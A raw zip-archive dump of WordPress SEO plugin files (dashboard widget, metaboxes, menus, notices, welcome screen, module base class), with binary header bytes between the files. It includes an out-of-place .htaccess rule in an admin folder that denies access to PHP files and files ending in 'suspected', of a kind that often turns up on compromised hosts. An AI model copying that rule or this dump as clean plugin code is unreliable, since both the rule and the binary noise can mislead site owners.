<a href="https://profiles.wordpress.org/arnaudbroes/" target="_blank">Arnaud Broes</a>, <a href="https://profiles.wordpress.org/pixolin/" target="_blank">Bego Mario Garde</a>, <a href="https://profiles.wordpress.org/wp-yogi/" target="_blank">wp-yogi</a>, <a href="https://profiles.wordpress.org/wpsmort/" target="_blank">Steve Mortiboy</a>, <a href="https://profiles.wordpress.org/webaware/" target="_blank">webaware</a>, <a href="https://profiles.wordpress.org/escribirelmundo/" target="_blank">escribirelmundo</a>, <a href="https://profiles.wordpress.org/casiepa/" target="_blank">Pascal Casier</a>, <a href="https://profiles.wordpress.org/shoheitanaka/" target="_blank">Shohei Tanaka</a>, <a href="https://profiles.wordpress.org/nurron/" target="_blank">Nurron Shodiqin</a>, <a href="https://profiles.wordpress.org/aprmndr/" target="_blank">Alyssa Primandaru</a>, <a href="https://profiles.wordpress.org/facestoro/" target="_blank">facestoro</a>, <a href="https://profiles.wordpress.org/yuqianl/" target="_blank">Dawa Torbert</a>, <a href="https://profiles.wordpress.org/hallsofmontezuma/" target="_blank">Michael Torbert</a>, <a href="https://profiles.wordpress.org/istvanzseller/" target="_blank">Istvan Zseller</a>, <a href="https://profiles.wordpress.org/paaljoachim" target="_blank">Paal Joachim Romdahl</a>, <a href="https://profiles.wordpress.org/almaz/" target="_blank">Almaz Mannanov</a>, <a href="https://profiles.wordpress.org/vide13 /" target="_blank">vide13</a>, <a href="https://profiles.wordpress.org/yuraz/" target="_blank">Jurica Zuanovic</a>, <a href="https://profiles.wordpress.org/arhipaiva/" target="_blank">arhipaiva</a>, <a href="https://profiles.wordpress.org/maximanikin/" target="_blank">Maxim Anikin</a>, <a href="https://profiles.wordpress.org/petya/" target="_blank">Petya Raykovska</a>, <a href="https://profiles.wordpress.org/hathanh0809/" target="_blank">hathanh0809</a>, <a href="https://profiles.wordpress.org/cedric3131/" target="_blank">Cédric Valmary</a>, <a href="https://profiles.wordpress.org/smitka/" target="_blank">Vladimir Smitka</a>, <a href="https://profiles.wordpress.org/brewtal/" target="_blank">Paul P.</a>, <a href="https://profiles.wordpress.org/wpaleks/" target="_blank">Aleksander Savkovic</a>, <a href="https://profiles.wordpress.org/diogosanches/" target="_blank">Diogo Sanches</a>, <a href="https://profiles.wordpress.org/klemenfajs/" target="_blank">Klemen Fajs</a>, <a href="https://profiles.wordpress.org/adriancastellanos/" target="_blank">Adrian Castellanos</a>, <a href="https://profiles.wordpress.org/exilhamburger/" target="_blank">exilhamburger</a>, <a href="https://profiles.wordpress.org/garyj/" target="_blank">Gary Jones</a>, <a href="https://profiles.wordpress.org/fernandot/" target="_blank">Fernando Tellado</a>, <a href="https://profiles.wordpress.org/hiwhatsup/" target="_blank">Carlos Zuniga</a>, <a href="https://profiles.wordpress.org/fxbenard/" target="_blank">François Bernard</a>, <a href="https://profiles.wordpress.org/jack0falltrades/" target="_blank">jack0falltrades</a>, <a href="https://profiles.wordpress.org/dancaragea/" target="_blank">Dan Caragea</a>, <a href="https://profiles.wordpress.org/kyla81975/" target="_blank">kyla81975</a>, <a href="https://profiles.wordpress.org/arildknudsen1/" target="_blank">Arild Knudsen</a>. </p> </div> PK������+—[÷»dë± ��± ��6��all-in-one-seo-pack/admin/display/dashboard_widget.phpnu�„[µü¤��������<?php /** * Dashboard Widget * * @package All_in_One_SEO_Pack * @since 2.3.10 */ if ( ! class_exists( 'aioseop_dashboard_widget' ) ) { /** * Class aioseop_dashboard_widget * * @since 2.3.10 */ // @codingStandardsIgnoreStart class aioseop_dashboard_widget { // @codingStandardsIgnoreEnd /** * Constructor * * Add the action to the constructor. * * @since 2.3.10 */ function __construct() { add_action( 'wp_dashboard_setup', array( $this, 'add_dashboard_widget' ) ); } /** * Add Dashboard Widget * * @since 2.3.10 */ function add_dashboard_widget() { if ( current_user_can( 'install_plugins' ) && false !== $this->show_widget() ) { wp_add_dashboard_widget( 'semperplugins-rss-feed', __( 'SEO News', 'all-in-one-seo-pack' ), array( $this, 'display_rss_dashboard_widget', ) ); } } /** * Show Widget * * @since 2.3.10.2 */ function show_widget() { $show = true; if ( apply_filters( 'aioseo_show_seo_news', true ) === false ) { // API filter hook to disable showing SEO News dashboard widget. return false; } global $aioseop_options; if ( AIOSEOPPRO && isset( $aioseop_options['aiosp_showseonews'] ) && ! $aioseop_options['aiosp_showseonews'] ) { return false; } return $show; } /** * Display RSS Dashboard Widget * * @since 2.3.10 */ function display_rss_dashboard_widget() { // check if the user has chosen not to display this widget through screen options. $current_screen = get_current_screen(); $hidden_widgets = get_user_meta( get_current_user_id(), 'metaboxhidden_' . $current_screen->id ); if ( $hidden_widgets && count( $hidden_widgets ) > 0 && is_array( $hidden_widgets[0] ) && in_array( 'semperplugins-rss-feed', $hidden_widgets[0], true ) ) { return; } include_once( ABSPATH . WPINC . '/feed.php' ); $rss_items = get_transient( 'aioseop_feed' ); if ( false === $rss_items ) { $rss = fetch_feed( 'https://www.semperplugins.com/feed/' ); if ( is_wp_error( $rss ) ) { echo __( '{Temporarily unable to load feed.}', 'all-in-one-seo-pack' ); return; } $rss_items = $rss->get_items( 0, 4 ); // Show four items. $cached = array(); foreach ( $rss_items as $item ) { $cached[] = array( 'url' => $item->get_permalink(), 'title' => $item->get_title(), 'date' => $item->get_date( 'M jS Y' ), 'content' => substr( strip_tags( $item->get_content() ), 0, 128 ) . '...', ); } $rss_items = $cached; set_transient( 'aioseop_feed', $cached, 12 * HOUR_IN_SECONDS ); } ?> <ul> <?php if ( false === $rss_items ) { echo '<li>No items</li>'; return; } foreach ( $rss_items as $item ) { ?> <li> <a target="_blank" href="<?php echo esc_url( $item['url'] ); ?>"> <?php echo esc_html( $item['title'] ); ?> </a> <span class="aioseop-rss-date"><?php echo $item['date']; ?></span> <div class="aioseop_news"> <?php echo strip_tags( $item['content'] ) . '...'; ?> </div> </li> <?php } ?> </ul> <?php } } new aioseop_dashboard_widget(); } PK������+—[Ç/o¬��¬��7��all-in-one-seo-pack/admin/display/general-metaboxes.phpnu�„[µü¤��������<?php /** * General Metaboxes * * @package All_in_One_SEO_Pack * @since 2.3.3 */ // @codingStandardsIgnoreStart class aiosp_metaboxes { // @codingStandardsIgnoreEnd /** * Constructor * * AIOSEOP metaboxes constructor. * * @since 2.3.3 */ function __construct() { // construct. } /** * Display Metaboxes * * @since 2.3.3 * * @param $add * @param $meta */ static function display_extra_metaboxes( $add, $meta ) { echo "<div class='aioseop_metabox_wrapper' >"; switch ( $meta['id'] ) : case 'aioseop-about': ?> <div class="aioseop_metabox_text"> <h2 style="display:inline;"><?php echo AIOSEOP_PLUGIN_NAME; ?></h2> <?php global $current_user; $user_id = $current_user->ID; $ignore = get_user_meta( $user_id, 'aioseop_ignore_notice' ); if ( ! empty( $ignore ) ) { $qa = array(); wp_parse_str( $_SERVER['QUERY_STRING'], $qa ); $qa['aioseop_reset_notices'] = 1; $url = '?' . build_query( $qa ); echo '<p><a href="' . $url . '">' . __( 'Reset Dismissed Notices', 'all-in-one-seo-pack' ) . '</a></p>'; } ?> <?php if ( ! AIOSEOPPRO ) : ?> <p> <strong> <?php echo aiosp_common::get_upgrade_hyperlink( 'side', __( 'Pro Version', 'all-in-one-seo-pack' ), __( 'CLICK HERE', 'all-in-one-seo-pack' ), '_blank' ); /* translators: after this string comes a list of exclusive features that are not included in the free version of the plugin */ echo ' ' . __( 'to upgrade to Pro Version and get:', 'all-in-one-seo-pack' ); ?> </strong> </p> <?php endif; ?> </div> <?php // Fall-through. case 'aioseop-donate': ?> <div> <?php if ( ! AIOSEOPPRO ) : ?> <div class="aioseop_metabox_text"> <?php self::pro_meta_content(); ?> </div> <?php endif; ?> <div class="aioseop_metabox_feature"> <div class="aiosp-di"> <a class="dashicons di-twitter" target="_blank" href="https://twitter.com/aioseopack" title="Follow me on Twitter"></a> <a class="dashicons di-facebook" target="_blank" href="https://www.facebook.com/aioseopack" title="Follow me on Facebook"></a> </div> </div> <?php $aiosp_trans = new AIOSEOP_Translations(); // Eventually if nothing is returned we should just remove this section. if ( get_locale() != 'en_US' ) : ?> <div class="aioseop_translations"> <strong> <?php if ( $aiosp_trans->percent_translated < 100 ) { if ( ! empty( $aiosp_trans->native_name ) ) { $maybe_native_name = $aiosp_trans->native_name; } else { $maybe_native_name = $aiosp_trans->name; } /* translators: %1$s, %2$s, etc. are placeholders and shouldn't be translated. %1$s expands to the number of languages All in One SEO Pack has been translated into, %2$s to the name of the plugin, $3%s to the percentage translated of the current language, $4%s to the language name, %5$s and %6$s to anchor tags with link to the translation page at translate.wordpress.org */ printf( __( '%1$s has been translated into %2$s languages, but currently the %3$s translation is only %4$s percent complete. %5$sClick here%6$s to help get it to 100 percent.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME, $aiosp_trans->translated_count, $maybe_native_name, $aiosp_trans->percent_translated, "<a href=\"$aiosp_trans->translation_url\" target=\"_BLANK\">", '</a>' ); } ?> </strong> </div> <?php endif; ?> </div> <?php break; ?> <?php case 'aioseop-list': ?> <div class="aioseop_metabox_text"> <form <?php if ( AIOSEOPPRO ) : ?> action="https://semperplugins.us1.list-manage.com/subscribe/post?u=794674d3d54fdd912f961ef14&id=b786958a9a" <?php else : ?> action="https://semperplugins.us1.list-manage.com/subscribe/post?u=794674d3d54fdd912f961ef14&id=af0a96d3d9" <?php endif; ?> method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank"> <h2><?php _e( 'Join our mailing list for tips, tricks, and WordPress secrets.', 'all-in-one-seo-pack' ); ?></h2> <p> <i><?php _e( 'Sign up today and receive a free copy of the e-book 5 SEO Tips for WordPress ($39 value).', 'all-in-one-seo-pack' ); ?></i> </p> <p> <input type="text" value="" name="EMAIL" class="required email" id="mce-EMAIL" placeholder="<?php _e( 'Email Address', 'all-in-one-seo-pack' ); ?>" aria-label="<?php _e( 'Enter your email address', 'all-in-one-seo-pack' ); ?>"> <input type="submit" value="<?php _e( 'Subscribe', 'all-in-one-seo-pack' ); ?>" name="subscribe" id="mc-embedded-subscribe" class="button-primary" aria-label="<?php _e( 'Subscribe to our mailing list', 'all-in-one-seo-pack' ); ?>"> </p> </form> </div> <?php break; ?> <?php case 'aioseop-support': ?> <div class="aioseop_metabox_text"> <ul> <li> <div class="aioseop_icon aioseop-icon-file"></div> <a target="_blank" rel="noopener noreferrer" href="https://semperplugins.com/documentation/"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ printf( __( 'Read the %s user guide', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); ?> </a> </li> <li> <div class="aioseop_icon aioseop-icon-support"></div> <a target="_blank" rel="noopener noreferrer" title="<?php _e( 'All in One SEO Pro Plugin Support Forum', 'all-in-one-seo-pack' ); ?>" href="https://semperplugins.com/support/"><?php _e( 'Access our Premium Support Forums', 'all-in-one-seo-pack' ); ?></a> </li> <li> <div class="aioseop_icon aioseop-icon-cog"></div> <a target="_blank" rel="noopener noreferrer" title="<?php _e( 'All in One SEO Pro Plugin Changelog', 'all-in-one-seo-pack' ); ?>" href="https://semperplugins.com/all-in-one-seo-pack-changelog/"><?php _e( 'View the Changelog', 'all-in-one-seo-pack' ); ?></a> </li> <li> <div class="aioseop_icon aioseop-icon-youtube"></div> <a target="_blank" rel="noopener noreferrer" href="https://semperplugins.com/doc-type/video/"><?php _e( 'Watch video tutorials', 'all-in-one-seo-pack' ); ?></a> </li> <li> <div class="aioseop_icon aioseop-icon-book"></div> <a target="_blank" rel="noopener noreferrer" href="https://semperplugins.com/documentation/quick-start-guide/"><?php _e( 'Getting started? Read the Beginners Guide', 'all-in-one-seo-pack' ); ?></a> </li> </ul> </div> <?php break; ?> <?php endswitch; ?> </div> <?php } /** * Pro Meta Content * * @since 2.3.11 */ static function pro_meta_content() { echo '<ul>'; if ( class_exists( 'WooCommerce' ) ) { echo '<li>' . __( 'Advanced support for WooCommerce', 'all-in-one-seo-pack' ) . '</li>'; } else { echo '<li>' . __( 'Advanced support for e-commerce', 'all-in-one-seo-pack' ) . '</li>'; } echo '<li>' . __( 'Video SEO Module', 'all-in-one-seo-pack' ) . '</li>'; echo '<li>' . __( 'SEO for Categories, Tags and Custom Taxonomies', 'all-in-one-seo-pack' ) . '</li>'; echo '<li>' . __( 'Access to Video Screencasts', 'all-in-one-seo-pack' ) . '</li>'; echo '<li>' . __( 'Access to Premium Support Forums', 'all-in-one-seo-pack' ) . '</li>'; echo '<li>' . __( 'Access to Knowledge Center', 'all-in-one-seo-pack' ) . '</li>'; echo '</ul>'; echo sprintf( __( '%1$sClick here%2$s to file a feature request/bug report.', 'all-in-one-seo-pack' ), '<a href="https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/new" target="_blank" rel="noopener noreferrer">', '</a>' ); } } PK������+—[ì§àå$���$���+��all-in-one-seo-pack/admin/display/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[4¸ô����*��all-in-one-seo-pack/admin/display/menu.phpnu�„[µü¤��������<?php /** * Menu * * @package All_in_One_SEO_Pack * @since ? */ /** * Class AIOSEOPAdminMenus * * @since 2.3.11.5 */ class AIOSEOPAdminMenus { /** * Constructor to add the actions. */ function __construct() { add_action( 'network_admin_menu', array( $this, 'remove_menus' ), 15 ); if ( is_multisite() ) { return; } if ( ! AIOSEOPPRO && ( current_user_can( 'manage_options' ) || current_user_can( 'aiosp_manage_seo' ) ) ) { add_action( 'admin_menu', array( $this, 'add_pro_submenu' ), 11 ); } else { return; } add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); } function remove_menus() { remove_menu_page( AIOSEOP_PLUGIN_DIRNAME . '/aioseop_class.php' ); // Remove AIOSEOP menu from the network admin. } /** * Adds Upgrade link to our menu. * * @since 2.3.11.5 */ function add_pro_submenu() { global $submenu; $url = 'https://semperplugins.com/all-in-one-seo-pack-pro-version/?loc=aio_menu'; $upgrade_text = __( 'Upgrade to Pro', 'all-in-one-seo-pack' ); $submenu[ AIOSEOP_PLUGIN_DIRNAME . '/aioseop_class.php' ][] = array( "<span class='upgrade_menu_link'>$upgrade_text</span>", 'manage_options', $url, ); } /* * Opens Upgrade to Pro links in WP Admin as new tab. * * Enqueued here because All_in_One_SEO_Pack_Module::admin_enqueue_scripts does not work. * * @param string $hook * * @since 3.0 */ function admin_enqueue_scripts( $hook ) { wp_enqueue_script( 'aioseop_menu_js', AIOSEOP_PLUGIN_URL . 'js/aioseop-menu.js', array( 'jquery' ), AIOSEOP_VERSION, true ); if ( 'plugins.php' === $hook ) { wp_enqueue_script( 'aioseop_plugins_menu_js', AIOSEOP_PLUGIN_URL . 'js/plugins-menu.js', array( 'jquery' ), AIOSEOP_VERSION, true ); } } } new AIOSEOPAdminMenus(); PK������+—[‘­¶��¶��4��all-in-one-seo-pack/admin/display/notice-aioseop.phpnu�„[µü¤��������<?php /** * AIOSEOP Screen Notice Template. * * @since 3.0 * * @see AIOSEOP_Notice::display_notice_aioseop(); * @uses $notice in AIOSEOP_Notice::notices * @package All_in_One_SEO_Pack * @subpackage AIOSEOP_Notices */ // $notice = $this->get_notice[ $a_notice_slug ]; $notice_class = 'notice-info'; if ( isset( $notice['class'] ) && ! empty( $notice['class'] ) ) { $notice_class = $notice['class']; } ?> <div class="notice <?php echo esc_attr( $notice_class ); ?> is-dismissible aioseop-notice-container aioseop-notice-<?php echo esc_attr( $notice['slug'] ); ?>"> <p><?php echo esc_html( $notice['message'] ); ?></p> <p> <?php foreach ( $notice['action_options'] as $key => $action_option ) : ?> <?php $link = $action_option['link']; $id = 'aioseop-notice-delay-' . $notice['slug'] . '-' . $key; $class = ''; $class .= 'aioseop-delay-' . $key; $class .= ' ' . $action_option['class']; ?> <a href="<?php echo esc_url( $link ); ?>" id="<?php echo esc_attr( $id ); ?>" class="aioseop-notice-delay <?php echo esc_attr( $class ); ?>" target="_blank" rel="noopener"><?php echo esc_textarea( $action_option['text'] ); ?></a> <?php endforeach; ?> </p> </div> PK������+—[FbE4¦��¦��4��all-in-one-seo-pack/admin/display/notice-default.phpnu�„[µü¤��������<?php /** * Default Notice Template. * * @since 3.0 * * @see AIOSEOP_Notice::display_notice_default(); * @uses $notice in AIOSEOP_Notice::notices * @package All-in-One-SEO-Pack * @subpackage AIOSEOP_Notices */ // $notice = $this->notices[ $a_notice_slug ]; $notice_class = 'notice-info'; if ( isset( $notice['class'] ) && ! empty( $notice['class'] ) ) { $notice_class = $notice['class']; } ?> <div class="notice <?php echo esc_attr( $notice_class ); ?> is-dismissible aioseop-notice-container aioseop-notice-<?php echo esc_attr( $notice['slug'] ); ?>"> <p><?php echo esc_html( $notice['message'] ); ?></p> <p> <?php foreach ( $notice['action_options'] as $key => $action_option ) : ?> <?php $link = $action_option['link']; $id = 'aioseop-notice-delay-' . $notice['slug'] . '-' . $key; $class = ''; $class .= 'aioseop-delay-' . $key; $class .= ' ' . $action_option['class']; ?> <a href="<?php echo esc_url( $link ); ?>" id="<?php echo esc_attr( $id ); ?>" class="aioseop-notice-delay <?php echo esc_attr( $class ); ?>" target="_blank" rel="noopener"><?php echo esc_textarea( $action_option['text'] ); ?></a> <?php endforeach; ?> </p> </div> PK������+—[BܸµD��D��5��all-in-one-seo-pack/admin/display/welcome-content.phpnu�„[µü¤��������<?php /** * Welcome Content * * @package All_in_One_SEO_Pack * @since ? */ ?> <div class="welcome-panel"> <div class="welcome-panel-content"> <div class="welcome-panel-column-container"> <div> <h3><a href="https://semperplugins.com/all-in-one-seo-pack-3-2/" target="_blank"><?php echo esc_html( __( "Check out what's new in our latest release post!", 'all-in-one-seo-pack' ) ); ?></a></h3> </div> <div class="welcome-panel-column"> <h3> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ echo esc_html( sprintf( __( 'Support %s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) ); ?> </h3> <p class="message welcome-icon welcome-edit-page"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ echo esc_html( sprintf( __( 'There are many ways you can help support %s.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) ); ?> </p> <p class="message aioseop-message welcome-icon welcome-edit-page"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the premium version of the plugin, All in One SEO Pack Pro. */ echo esc_html( sprintf( __( 'Upgrade to %s to access priority support and premium features.', 'all-in-one-seo-pack' ), 'All in One SEO Pack Pro' ) ); ?> </p> <p class="call-to-action"> <a href="https://semperplugins.com/all-in-one-seo-pack-pro-version/?loc=aio_welcome" target="_blank" class="button button-primary button-orange"><?php echo __( 'Upgrade', 'all-in-one-seo-pack' ); ?></a> </p> <p class="message aioseop-message welcome-icon welcome-edit-page"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ echo esc_html( sprintf( __( 'Help translate %s into your language.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) ); ?> </p> <p class="call-to-action"> <a href="https://translate.wordpress.org/projects/wp-plugins/all-in-one-seo-pack" class="button button-primary" target="_blank"><?php echo __( 'Translate', 'all-in-one-seo-pack' ); ?></a></p> </div> <div class="welcome-panel-column"> <h3><?php echo esc_html( __( 'Get Started', 'all-in-one-seo-pack' ) ); ?></h3> <ul> <li> <a href="https://semperplugins.com/documentation/quick-start-guide/" target="_blank" class="welcome-icon welcome-add-page"> <?php /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ echo sprintf( __( 'Beginners Guide for %s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); ?> </a> </li> <li> <a href="https://semperplugins.com/documentation/beginners-guide-to-xml-sitemaps/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Beginners Guide for XML Sitemap module', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/documentation/beginners-guide-to-social-meta/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Beginners Guide for Social Meta module', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/documentation/top-tips-for-good-on-page-seo/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Tips for good on-page SEO', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/documentation/quality-guidelines-for-seo-titles-and-descriptions/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Quality guidelines for SEO titles and descriptions', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/documentation/submitting-an-xml-sitemap-to-google/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Submit an XML Sitemap to Google', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/documentation/setting-up-google-analytics/" target="_blank" class="welcome-icon welcome-add-page"><?php echo __( 'Set up Google Analytics', 'all-in-one-seo-pack' ); ?></a> </li> </ul> </div> <div class="welcome-panel-column"> <h3><?php echo esc_html( __( 'Did You Know?', 'all-in-one-seo-pack' ) ); ?></h3> <ul> <li> <a href="https://semperplugins.com/documentation/" target="_blank" class="welcome-icon welcome-learn-more"><?php echo __( 'We have complete documentation on every setting and feature', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/videos/" target="_blank" class="welcome-icon welcome-learn-more"><?php echo __( 'Access to video tutorials about SEO with the Pro version', 'all-in-one-seo-pack' ); ?></a> </li> <li> <a href="https://semperplugins.com/all-in-one-seo-pack-pro-version/?loc=aio_welcome" target="_blank" class="welcome-icon welcome-learn-more"><?php echo __( 'Control SEO on categories, tags and custom taxonomies with the Pro version', 'all-in-one-seo-pack' ); ?></a> </li> </ul> </div> </div> </div> <p> <a href=" <?php echo get_admin_url( null, 'admin.php?page=' . AIOSEOP_PLUGIN_DIRNAME . '/aioseop_class.php' ); ?> "><?php _e( 'Continue to the General Settings', 'all-in-one-seo-pack' ); ?></a> » </p> </div> PK������+—[Å7è8<��<��-��all-in-one-seo-pack/admin/display/welcome.phpnu�„[µü¤��������<?php /** * Welcome * * @package All_in_One_SEO_Pack * @since ? */ if ( ! class_exists( 'aioseop_welcome' ) ) { /** * Class aioseop_welcome */ // @codingStandardsIgnoreStart class aioseop_welcome { // @codingStandardsIgnoreEnd /** * Constructor to add the actions. */ function __construct() { if ( AIOSEOPPRO ) { return; } add_action( 'admin_menu', array( $this, 'add_menus' ) ); add_action( 'admin_menu', array( $this, 'remove_pages' ), 999 ); add_action( 'admin_enqueue_scripts', array( $this, 'welcome_screen_assets' ) ); } /** * Enqueues style and script. * * @param $hook */ function welcome_screen_assets( $hook ) { if ( 'dashboard_page_aioseop-about' === $hook ) { wp_enqueue_style( 'aioseop_welcome_css', AIOSEOP_PLUGIN_URL . 'css/aioseop-welcome.css', array(), AIOSEOP_VERSION ); if ( function_exists( 'is_rtl' ) && is_rtl() ) { wp_enqueue_style( 'aioseop_welcome_css_rtl', AIOSEOP_PLUGIN_URL . 'css/aioseop-welcome-rtl.css', array( 'aioseop_welcome_css' ), AIOSEOP_VERSION ); } wp_enqueue_script( 'aioseop_welcome_js', AIOSEOP_PLUGIN_URL . 'js/welcome.js', array( 'jquery' ), AIOSEOP_VERSION, true ); } } /** * Removes unneeded pages. * * @since 2.3.12 Called via admin_menu action instead of admin_head. */ function remove_pages() { remove_submenu_page( 'index.php', 'aioseop-about' ); remove_submenu_page( 'index.php', 'aioseop-credits' ); } /** * Adds (hidden) menu. */ function add_menus() { /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ $welcome_text = sprintf( __( 'Welcome to %s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ); add_dashboard_page( $welcome_text, $welcome_text, 'manage_options', 'aioseop-about', array( $this, 'about_screen' ) ); } /** * Initial stuff. * * @param bool $activate */ function init( $activate = false ) { if ( ! is_admin() ) { return; } // Bail if activating from network, or bulk. if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) { return; } if ( ! current_user_can( 'manage_options' ) ) { return; } wp_cache_flush(); aiosp_common::clear_wpe_cache(); delete_transient( '_aioseop_activation_redirect' ); $seen = 0; $seen = get_user_meta( get_current_user_id(), 'aioseop_seen_about_page', true ); update_user_meta( get_current_user_id(), 'aioseop_seen_about_page', AIOSEOP_VERSION ); if ( AIOSEOPPRO ) { return; } // Compare the major versions so we don't show the welcome screen on minor versions. if ( ( get_major_version( AIOSEOP_VERSION ) === get_major_version( $seen ) ) || ( true !== $activate ) ) { return; } wp_safe_redirect( add_query_arg( array( 'page' => 'aioseop-about' ), admin_url( 'index.php' ) ) ); exit; } /** * Outputs the about screen. */ function about_screen() { aiosp_common::clear_wpe_cache(); $version = AIOSEOP_VERSION; ?> <div class="wrap about-wrap"> <div class="aioseop-welcome-logo"> <?php echo aioseop_get_logo( 180, 180, '#44619A' ); ?> </div> <h1> <?php /* translators: %1$s and %2$s are placeholders, which means that these should not be translated. These will be replaced with the name of the plugin, All in One SEO Pack, and the current version number. */ printf( esc_html__( 'Welcome to %1$s %2$s', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME, $version ); ?> </h1> <div class="about-text"> <?php /* translators: %1$s and %2$s are placeholders, which means that these should not be translated. These will be replaced with the name of the plugin, All in One SEO Pack, and the current version number. */ printf( esc_html__( '%1$s %2$s contains new features, bug fixes, increased security, and tons of under the hood performance improvements.', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME, $version ); ?> </div> <h2 class="nav-tab-wrapper"> <a class="nav-tab nav-tab-active" id="aioseop-about" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'aioseop-about' ), 'index.php' ) ) ); ?>"> <?php esc_html_e( 'What’s New', 'all-in-one-seo-pack' ); ?> </a> <a class="nav-tab" id="aioseop-credits" href="<?php echo esc_url( admin_url( add_query_arg( array( 'page' => 'aioseop-credits' ), 'index.php' ) ) ); ?>"> <?php esc_html_e( 'Credits', 'all-in-one-seo-pack' ); ?> </a> </h2> <div id='sections'> <section><?php include_once( AIOSEOP_PLUGIN_DIR . 'admin/display/welcome-content.php' ); ?></section> <section><?php include_once( AIOSEOP_PLUGIN_DIR . 'admin/display/credits-content.php' ); ?></section> </div> </div> <?php } } } PK������+—[³yd«c���c���+��all-in-one-seo-pack/admin/display/.htaccessnu�ÏÃ6Ç$��������<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch>PK������+—[ÿ:®m�®m�2��all-in-one-seo-pack/admin/aioseop_module_class.phpnu�„[µü¤��������<?php /** * AIOSEOP Module Class * * @package All-in-One-SEO-Pack * @version 2.3.12.2 */ if ( ! class_exists( 'All_in_One_SEO_Pack_Module' ) ) { /** * The module base class; handles settings, options, menus, metaboxes, etc. */ abstract class All_in_One_SEO_Pack_Module { /** * Instance * * @since ? * * @var null $instance */ public static $instance = null; /** * Plugin Name * * @since ? * * @var string $plugin_name */ protected $plugin_name; /** * Name * * @since ? * * @var string $name */ protected $name; /** * Menu Name * * @since ? * * @var string $menu_name */ protected $menu_name; /** * Module Prefix * * @since ? * * @var string $prefix */ protected $prefix; /** * File * * @since ? * * @var string $file */ protected $file; /** * Module Options * * @since ? * * @var array $options { * TODO Add details to show module database options. May need to use module classes instead. * } */ protected $options; /** * Option Name * * @since ? * * @var string $option_name */ protected $option_name; /** * Default Options * * @since ? * * @var array $default_options */ protected $default_options; /** * Help Text * * @since ? * @deprecated * * @var array $help_text */ protected $help_text = array(); /** * Help Anchors * * @since ? * @deprecated * * @var array $help_anchors */ protected $help_anchors = array(); /** * Locations * * (Optional) Organize settings into settings pages with a menu items and/or metaboxes on post types edit screen. * * @since ? * * @var array $locations */ protected $locations = null; /** * Layout * * (Optional) Organize settings on a settings page into multiple, separate metaboxes. * * @since ? * * @var array $layout */ protected $layout = null; /** * Tabs * * (Optional) Organize layouts on a settings page into multiple. * * @since ? * * @var array $tabs */ protected $tabs = null; /** * Current Tab * * @since ? * * @var string $current_tab */ protected $current_tab = null; /** * Pagehook * * The current page hook. * * @since ? * * @var string $pagehook */ protected $pagehook = null; /** * Store Option * * @since ? * * @var bool */ protected $store_option = false; /** * Parent Option * * @since ? * * @var string $parent_option */ protected $parent_option = 'aioseop_options'; /** * Post Metaboxes * * @since ? * * @var array $post_metaboxes */ protected $post_metaboxes = array(); /** * Tabbed Metaboxes * * @since ? * * @var bool */ protected $tabbed_metaboxes = true; /** * Credentials * * Used for WP Filesystem. * * @since ? * * @var bool */ protected $credentials = false; /** * Script Data * * Used for passing data to JavaScript. * * @since ? * * @var array $script_data */ protected $script_data = null; /** * Plugin Path * * @since ? * * @var array|null */ protected $plugin_path = null; /** * Pointers * * @since ? * * @var array */ protected $pointers = array(); /** * Form * * @since ? * * @var string $form */ protected $form = 'dofollow'; /** * Handles calls to display_settings_page_{$location}, does error checking. * * @param $name * @param $arguments * * @throws Exception * @throws BadMethodCallException */ function __call( $name, $arguments ) { if ( $this->strpos( $name, 'display_settings_page_' ) === 0 ) { return $this->display_settings_page( $this->substr( $name, 22 ) ); } $error = sprintf( __( "Method %s doesn't exist", 'all-in-one-seo-pack' ), $name ); if ( class_exists( 'BadMethodCallException' ) ) { throw new BadMethodCallException( $error ); } throw new Exception( $error ); } /** * All_in_One_SEO_Pack_Module constructor. */ function __construct() { if ( empty( $this->file ) ) { $this->file = __FILE__; } $this->plugin_name = AIOSEOP_PLUGIN_NAME; $this->plugin_path = array(); // $this->plugin_path['dir'] = plugin_dir_path( $this->file ); $this->plugin_path['basename'] = plugin_basename( $this->file ); 